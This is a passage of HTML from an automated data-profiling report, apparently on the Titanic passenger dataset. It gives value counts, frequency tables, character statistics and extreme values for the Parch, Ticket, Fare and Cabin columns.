style=width:4.6%> &nbsp; </div> 3.1% </td></tr><tr class><td title=3>3</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=4>4</td><td>18</td><td><div class=bar style=width:3.0%> &nbsp; </div> 2.0% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr><tr class><td title=8>8</td><td>7</td><td><div class=bar style=width:1.2%> &nbsp; </div> 0.8% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=8060475129680382162extreme_values-8060475129680382162lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=8>8</td><td>7</td><td><div class=bar style=width:1.2%> &nbsp; </div> 0.8% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>18</td><td><div class=bar style=width:3.0%> &nbsp; </div> 2.0% </td></tr><tr class><td title=3>3</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=2>2</td><td>28</td><td><div class=bar style=width:4.6%> &nbsp; </div> 3.1% </td></tr><tr class><td title=1>1</td><td>209</td><td><div class=bar style=width:34.4%> &nbsp; </div> 23.5% </td></tr><tr class><td title=0>0</td><td>608</td><td><div class=bar style=width:100.0%> 68.2% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_9179953672643837052></a><div class=variable><div class=col-sm-3><p class=h4 title=Parch><a href=#pp_var_9179953672643837052>Parch</a><br><small>Real number (&Ropf;<sub>&ge;0</sub>)</small></p><code>ZEROS</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>7</td></tr><tr><th>Distinct (%)</th><td>0.8%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Infinite</th><td>0</td></tr><tr><th>Infinite (%)</th><td>0.0%</td></tr><tr><th>Mean</th><td>0.3815937149</td></tr></tbody></table></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Minimum</th><td>0</td></tr><tr><th>Maximum</th><td>6</td></tr><tr class=alert><th>Zeros</th><td>678</td></tr><tr class=alert><th>Zeros (%)</th><td>76.1%</td></tr><tr><th>Negative</th><td>0</td></tr><tr><th>Negative (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>7.1 KiB</td></tr></tbody></table></div><div class=col-sm-3><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</div> 0.4% </td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=9179953672643837052bottom-9179953672643837052extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#9179953672643837052extreme_values-9179953672643837052firstn aria-controls=9179953672643837052extreme_values-9179953672643837052firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#9179953672643837052extreme_values-9179953672643837052lastn aria-controls=9179953672643837052extreme_values-9179953672643837052lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=9179953672643837052extreme_values-9179953672643837052firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>678</td><td><div class=bar style=width:100.0%> 76.1% </div></td></tr><tr class><td title=1>1</td><td>118</td><td><div class=bar style=width:17.4%> &nbsp; </div> 13.2% </td></tr><tr class><td title=2>2</td><td>80</td><td><div class=bar style=width:11.8%> &nbsp; </div> 9.0% </td></tr><tr class><td title=3>3</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=9179953672643837052extreme_values-9179953672643837052lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=6>6</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=4>4</td><td>4</td><td><div class=bar style=width:0.6%> &nbsp; </div> 0.4% </td></tr><tr class><td title=3>3</td><td>5</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class><td title=2>2</td><td>80</td><td><div class=bar style=width:11.8%> &nbsp; </div> 9.0% </td></tr><tr class><td title=1>1</td><td>118</td><td><div class=bar style=width:17.4%> &nbsp; </div> 13.2% </td></tr><tr class><td title=0>0</td><td>678</td><td><div class=bar style=width:100.0%> 76.1% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_-6759393980720810914></a><div class=variable><div class=col-sm-3><p class=h4 title=Ticket><a href=#pp_var_-6759393980720810914>Ticket</a><br><small>Categorical</small></p><code>HIGH CARDINALITY</code><br><code>UNIFORM</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr class=alert><th>Distinct</th><td>681</td></tr><tr><th>Distinct (%)</th><td>76.4%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>55.6 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> 1601 </th><td width=50%><div class=bar style=width:0.8% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 7 </td></tr><tr class><th width=50%> 347082 </th><td width=50%><div class=bar style=width:0.8% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 7 </td></tr><tr class><th width=50%> CA. 2343 </th><td width=50%><div class=bar style=width:0.8% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 7 </td></tr><tr class><th width=50%> CA 2144 </th><td width=50%><div class=bar style=width:0.7% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 6 </td></tr><tr class><th width=50%> 347088 </th><td width=50%><div class=bar style=width:0.7% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 6 </td></tr><tr class=other><th width=50%> Other values (676) </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 858&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom--6759393980720810914, #minifreqtable-6759393980720810914" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom--6759393980720810914 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-6759393980720810914bottom--6759393980720810914overview aria-controls=-6759393980720810914bottom--6759393980720810914overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#-6759393980720810914bottom--6759393980720810914string aria-controls=-6759393980720810914bottom--6759393980720810914string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#-6759393980720810914bottom--6759393980720810914word aria-controls=-6759393980720810914bottom--6759393980720810914word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#-6759393980720810914bottom--6759393980720810914characters aria-controls=-6759393980720810914bottom--6759393980720810914characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-6759393980720810914bottom--6759393980720810914overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>18</td></tr><tr><th>Median length</th><td>6</td></tr><tr><th>Mean length</th><td>6.750841751</td></tr><tr><th>Min length</th><td>3</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>6015</td></tr><tr><th>Distinct characters</th><td>35</td></tr><tr><th>Distinct categories</th><td>5 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>2 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>547 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr><th>Unique (%)</th><td>61.4%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>A/5 21171</td></tr><tr><th>2nd row</th><td>PC 17599</td></tr><tr><th>3rd row</th><td>STON/O2. 3101282</td></tr><tr><th>4th row</th><td>113803</td></tr><tr><th>5th row</th><td>373450</td></tr></tbody></table></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6759393980720810914bottom--6759393980720810914string><div class=row><div class=col-sm-6><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=1601>1601</td><td>7</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.8% </td></tr><tr class><td title=347082>347082</td><td>7</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.8% </td></tr><tr class><td title="CA. 2343">CA. 2343</td><td>7</td><td><div class=bar style=width:0.8%> &nbsp; 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</div> 1.1% </td></tr><tr class><td title=w./c>w./c</td><td>9</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.8% </td></tr><tr class><td title=sc/paris>sc/paris</td><td>9</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.8% </td></tr><tr class><td title=soton/o.q>soton/o.q</td><td>8</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.7% </td></tr><tr class><td title=1601>1601</td><td>7</td><td><div class=bar style=width:0.7%> &nbsp; </div> 0.6% </td></tr><tr class=other><td title="Other values (709)">Other values (709)</td><td>955</td><td><div class=bar style=width:100.0%> 84.5% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6759393980720810914bottom--6759393980720810914characters><div class=col-sm-12><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-6759393980720810914unicode--6759393980720810914characters aria-controls=-6759393980720810914unicode--6759393980720810914characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#-6759393980720810914unicode--6759393980720810914categories aria-controls=-6759393980720810914unicode--6759393980720810914categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#-6759393980720810914unicode--6759393980720810914scripts aria-controls=-6759393980720810914unicode--6759393980720810914scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#-6759393980720810914unicode--6759393980720810914blocks aria-controls=-6759393980720810914unicode--6759393980720810914blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-6759393980720810914unicode--6759393980720810914characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>746</td><td><div class=bar style=width:61.8%> 12.4% </div></td></tr><tr class><td title=1>1</td><td>689</td><td><div class=bar style=width:57.1%> 11.5% </div></td></tr><tr class><td title=2>2</td><td>594</td><td><div class=bar style=width:49.2%> 9.9% </div></td></tr><tr class><td title=7>7</td><td>490</td><td><div class=bar style=width:40.6%> 8.1% </div></td></tr><tr class><td title=4>4</td><td>464</td><td><div class=bar style=width:38.4%> &nbsp; </div> 7.7% </td></tr><tr class><td title=6>6</td><td>422</td><td><div class=bar style=width:35.0%> &nbsp; </div> 7.0% </td></tr><tr class><td title=0>0</td><td>406</td><td><div class=bar style=width:33.6%> &nbsp; </div> 6.7% </td></tr><tr class><td title=5>5</td><td>387</td><td><div class=bar style=width:32.1%> &nbsp; </div> 6.4% </td></tr><tr class><td title=9>9</td><td>328</td><td><div class=bar style=width:27.2%> &nbsp; </div> 5.5% </td></tr><tr class><td title=8>8</td><td>282</td><td><div class=bar style=width:23.4%> &nbsp; </div> 4.7% </td></tr><tr class=other><td title="Other values (25)">Other values (25)</td><td>1207</td><td><div class=bar style=width:100.0%> 20.1% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6759393980720810914unicode--6759393980720810914categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>4808</td><td><div class=bar style=width:100.0%> 79.9% </div></td></tr><tr class><td title="Uppercase Letter">Uppercase Letter</td><td>652</td><td><div class=bar style=width:13.6%> &nbsp; </div> 10.8% </td></tr><tr class><td title="Other Punctuation">Other Punctuation</td><td>295</td><td><div class=bar style=width:6.1%> &nbsp; </div> 4.9% </td></tr><tr class><td title="Space Separator">Space Separator</td><td>239</td><td><div class=bar style=width:5.0%> &nbsp; </div> 4.0% </td></tr><tr class><td title="Lowercase Letter">Lowercase Letter</td><td>21</td><td><div class=bar style=width:0.4%> &nbsp; </div> 0.3% </td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=C>C</td><td>151</td><td><div class=bar style=width:100.0%> 23.2% </div></td></tr><tr class><td title=O>O</td><td>100</td><td><div class=bar style=width:66.2%> 15.3% </div></td></tr><tr class><td title=P>P</td><td>98</td><td><div class=bar style=width:64.9%> 15.0% </div></td></tr><tr class><td title=A>A</td><td>82</td><td><div class=bar style=width:54.3%> 12.6% </div></td></tr><tr class><td title=S>S</td><td>74</td><td><div class=bar style=width:49.0%> 11.3% </div></td></tr><tr class><td title=N>N</td><td>40</td><td><div class=bar style=width:26.5%> &nbsp; </div> 6.1% </td></tr><tr class><td title=T>T</td><td>36</td><td><div class=bar style=width:23.8%> &nbsp; </div> 5.5% </td></tr><tr class><td title=W>W</td><td>16</td><td><div class=bar style=width:10.6%> &nbsp; </div> 2.5% </td></tr><tr class><td title=Q>Q</td><td>15</td><td><div class=bar style=width:9.9%> &nbsp; </div> 2.3% </td></tr><tr class><td title=I>I</td><td>11</td><td><div class=bar style=width:7.3%> &nbsp; </div> 1.7% </td></tr><tr class=other><td title="Other values (6)">Other values (6)</td><td>29</td><td><div class=bar style=width:19.2%> &nbsp; </div> 4.4% </td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>746</td><td><div class=bar style=width:100.0%> 15.5% </div></td></tr><tr class><td title=1>1</td><td>689</td><td><div class=bar style=width:92.4%> 14.3% </div></td></tr><tr class><td title=2>2</td><td>594</td><td><div class=bar style=width:79.6%> 12.4% </div></td></tr><tr class><td title=7>7</td><td>490</td><td><div class=bar style=width:65.7%> 10.2% </div></td></tr><tr class><td title=4>4</td><td>464</td><td><div class=bar style=width:62.2%> 9.7% </div></td></tr><tr class><td title=6>6</td><td>422</td><td><div class=bar style=width:56.6%> 8.8% </div></td></tr><tr class><td title=0>0</td><td>406</td><td><div class=bar style=width:54.4%> 8.4% </div></td></tr><tr class><td title=5>5</td><td>387</td><td><div class=bar style=width:51.9%> 8.0% </div></td></tr><tr class><td title=9>9</td><td>328</td><td><div class=bar style=width:44.0%> 6.8% </div></td></tr><tr class><td title=8>8</td><td>282</td><td><div class=bar style=width:37.8%> &nbsp; </div> 5.9% </td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=a>a</td><td>6</td><td><div class=bar style=width:100.0%> 28.6% </div></td></tr><tr class><td title=s>s</td><td>5</td><td><div class=bar style=width:83.3%> 23.8% </div></td></tr><tr class><td title=r>r</td><td>4</td><td><div class=bar style=width:66.7%> 19.0% </div></td></tr><tr class><td title=i>i</td><td>4</td><td><div class=bar style=width:66.7%> 19.0% </div></td></tr><tr class><td title=l>l</td><td>1</td><td><div class=bar style=width:16.7%> &nbsp; </div> 4.8% </td></tr><tr class><td title=e>e</td><td>1</td><td><div class=bar style=width:16.7%> &nbsp; </div> 4.8% </td></tr></tbody></table></div></div><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=.>.</td><td>197</td><td><div class=bar style=width:100.0%> 66.8% </div></td></tr><tr class><td title=/ >/</td><td>98</td><td><div class=bar style=width:49.7%> 33.2% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>239</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6759393980720810914unicode--6759393980720810914scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Common>Common</td><td>5342</td><td><div class=bar style=width:100.0%> 88.8% </div></td></tr><tr class><td title=Latin>Latin</td><td>673</td><td><div class=bar style=width:12.6%> &nbsp; </div> 11.2% </td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=C>C</td><td>151</td><td><div class=bar style=width:100.0%> 22.4% </div></td></tr><tr class><td title=O>O</td><td>100</td><td><div class=bar style=width:66.2%> 14.9% </div></td></tr><tr class><td title=P>P</td><td>98</td><td><div class=bar style=width:64.9%> 14.6% </div></td></tr><tr class><td title=A>A</td><td>82</td><td><div class=bar style=width:54.3%> 12.2% </div></td></tr><tr class><td title=S>S</td><td>74</td><td><div class=bar style=width:49.0%> 11.0% </div></td></tr><tr class><td title=N>N</td><td>40</td><td><div class=bar style=width:26.5%> &nbsp; </div> 5.9% </td></tr><tr class><td title=T>T</td><td>36</td><td><div class=bar style=width:23.8%> &nbsp; </div> 5.3% </td></tr><tr class><td title=W>W</td><td>16</td><td><div class=bar style=width:10.6%> &nbsp; </div> 2.4% </td></tr><tr class><td title=Q>Q</td><td>15</td><td><div class=bar style=width:9.9%> &nbsp; </div> 2.2% </td></tr><tr class><td title=I>I</td><td>11</td><td><div class=bar style=width:7.3%> &nbsp; </div> 1.6% </td></tr><tr class=other><td title="Other values (12)">Other values (12)</td><td>50</td><td><div class=bar style=width:33.1%> &nbsp; </div> 7.4% </td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>746</td><td><div class=bar style=width:100.0%> 14.0% </div></td></tr><tr class><td title=1>1</td><td>689</td><td><div class=bar style=width:92.4%> 12.9% </div></td></tr><tr class><td title=2>2</td><td>594</td><td><div class=bar style=width:79.6%> 11.1% </div></td></tr><tr class><td title=7>7</td><td>490</td><td><div class=bar style=width:65.7%> 9.2% </div></td></tr><tr class><td title=4>4</td><td>464</td><td><div class=bar style=width:62.2%> 8.7% </div></td></tr><tr class><td title=6>6</td><td>422</td><td><div class=bar style=width:56.6%> 7.9% </div></td></tr><tr class><td title=0>0</td><td>406</td><td><div class=bar style=width:54.4%> 7.6% </div></td></tr><tr class><td title=5>5</td><td>387</td><td><div class=bar style=width:51.9%> 7.2% </div></td></tr><tr class><td title=9>9</td><td>328</td><td><div class=bar style=width:44.0%> 6.1% </div></td></tr><tr class><td title=8>8</td><td>282</td><td><div class=bar style=width:37.8%> &nbsp; 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</div> 3.5% </td></tr><tr class><td title=10.5>10.5</td><td>24</td><td><div class=bar style=width:3.9%> &nbsp; </div> 2.7% </td></tr><tr class><td title=7.925>7.925</td><td>18</td><td><div class=bar style=width:2.9%> &nbsp; </div> 2.0% </td></tr><tr class><td title=7.775>7.775</td><td>16</td><td><div class=bar style=width:2.6%> &nbsp; </div> 1.8% </td></tr><tr class><td title=0>0</td><td>15</td><td><div class=bar style=width:2.4%> &nbsp; </div> 1.7% </td></tr><tr class><td title=26.55>26.55</td><td>15</td><td><div class=bar style=width:2.4%> &nbsp; </div> 1.7% </td></tr><tr class=other><td title="Other values (238)">Other values (238)</td><td>615</td><td><div class=bar style=width:100.0%> 69.0% </div></td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=6740923749893651080bottom-6740923749893651080extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#6740923749893651080extreme_values-6740923749893651080firstn aria-controls=6740923749893651080extreme_values-6740923749893651080firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#6740923749893651080extreme_values-6740923749893651080lastn aria-controls=6740923749893651080extreme_values-6740923749893651080lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=6740923749893651080extreme_values-6740923749893651080firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>15</td><td><div class=bar style=width:100.0%> 1.7% </div></td></tr><tr class><td title=4.0125>4.0125</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=5>5</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.2375>6.2375</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.4375>6.4375</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.45>6.45</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.4958>6.4958</td><td>2</td><td><div class=bar style=width:13.3%> &nbsp; </div> 0.2% </td></tr><tr class><td title=6.75>6.75</td><td>2</td><td><div class=bar style=width:13.3%> &nbsp; </div> 0.2% </td></tr><tr class><td title=6.8583>6.8583</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr><tr class><td title=6.95>6.95</td><td>1</td><td><div class=bar style=width:6.7%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=6740923749893651080extreme_values-6740923749893651080lastn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=512.3292>512.3292</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr><tr class><td title=263>263</td><td>4</td><td><div class=bar style=width:100.0%> 0.4% </div></td></tr><tr class><td title=262.375>262.375</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=247.5208>247.5208</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=227.525>227.525</td><td>4</td><td><div class=bar style=width:100.0%> 0.4% </div></td></tr><tr class><td title=221.7792>221.7792</td><td>1</td><td><div class=bar style=width:25.0%> &nbsp; </div> 0.1% </td></tr><tr class><td title=211.5>211.5</td><td>1</td><td><div class=bar style=width:25.0%> &nbsp; </div> 0.1% </td></tr><tr class><td title=211.3375>211.3375</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr><tr class><td title=164.8667>164.8667</td><td>2</td><td><div class=bar style=width:50.0%> 0.2% </div></td></tr><tr class><td title=153.4625>153.4625</td><td>3</td><td><div class=bar style=width:75.0%> 0.3% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_7833447131632814160></a><div class=variable><div class=col-sm-3><p class=h4 title=Cabin><a href=#pp_var_7833447131632814160>Cabin</a><br><small>Categorical</small></p><code>HIGH CARDINALITY</code><br><code>MISSING</code><br><code>UNIFORM</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr class=alert><th>Distinct</th><td>147</td></tr><tr><th>Distinct (%)</th><td>72.1%</td></tr><tr class=alert><th>Missing</th><td>687</td></tr><tr class=alert><th>Missing (%)</th><td>77.1%</td></tr><tr><th>Memory size</th><td>33.7 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> G6 </th><td width=50%><div class=bar style=width:2.2% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 4 </td></tr><tr class><th width=50%> C23 C25 C27 </th><td width=50%><div class=bar style=width:2.2% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 4 </td></tr><tr class><th width=50%> B96 B98 </th><td width=50%><div class=bar style=width:2.2% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 4 </td></tr><tr class><th width=50%> F2 </th><td width=50%><div class=bar style=width:1.6% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 3 </td></tr><tr class><th width=50%> C22 C26 </th><td width=50%><div class=bar style=width:1.6% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 3 </td></tr><tr class=other><th width=50%> Other values (142) </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 186&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-7833447131632814160, #minifreqtable7833447131632814160" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-7833447131632814160 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#7833447131632814160bottom-7833447131632814160overview aria-controls=7833447131632814160bottom-7833447131632814160overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#7833447131632814160bottom-7833447131632814160string aria-controls=7833447131632814160bottom-7833447131632814160string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#7833447131632814160bottom-7833447131632814160word aria-controls=7833447131632814160bottom-7833447131632814160word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#7833447131632814160bottom-7833447131632814160characters aria-controls=7833447131632814160bottom-7833447131632814160characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=7833447131632814160bottom-7833447131632814160overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>15</td></tr><tr><th>Median length</th><td>3</td></tr><tr><th>Mean length</th><td>3.588235294</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>732</td></tr><tr><th>Distinct characters</th><td>19</td></tr><tr><th>Distinct categories</th><td>3 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>2 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>101 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr><th>Unique 